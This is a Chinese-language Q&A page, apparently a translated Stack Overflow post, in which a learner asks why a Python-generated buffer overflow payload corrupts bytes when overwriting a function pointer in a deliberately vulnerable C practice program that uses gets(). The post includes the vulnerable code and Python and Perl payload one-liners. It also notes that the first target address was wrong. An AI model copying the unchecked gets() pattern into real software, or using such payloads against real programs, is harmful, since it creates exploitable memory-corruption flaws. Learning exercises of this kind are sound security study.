首页 > 解决方案 > 尝试缓冲区溢出时堆栈上出现意外值

问题描述

我正在尝试更多地了解网络安全,在这种情况下是关于缓冲区溢出的。我有一个简单的代码,我想更改以下流程:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

通过使用一些工具,我确定函数指针 (fp) 在 72 个字符进入缓冲区后更新它的值。该函数win()位于 value 处,0xe5894855因此在 72 个字符后,我需要将该值提供给缓冲区,以便它跳转到所需的函数。

但是我面临这个问题: 在此处输入图像描述

通过将 Python3print("A"*18*4 + "UH" + "\x89" + "\xe5")放入给定 C 代码的输入中,我应该0xe5894855在标有红色的部分中获得所需的值。但是,相反,我从某个地方突出显示了格式错误的十六进制。(89 正在获得额外的 C2 并且不正确的 e5 值溢出到堆栈的下一部分)(堆栈的这些部分中的值最初为零,但一旦尝试溢出就会变为该值)。

为什么会这样?我是否将十六进制值错误地放入 C 程序中?

编辑:仍然没有弄清楚为什么通过 python 传递十六进制不起作用,但我发现了另一种方法,通过使用 Perl: perl -e 'print "A"x4x18 . "\x55\x48\x89\xe5"',它确实有效,并且我需要跳转到的地址也不正确(我也修复了)

标签: gccstack-overflow

解决方案


推荐阅读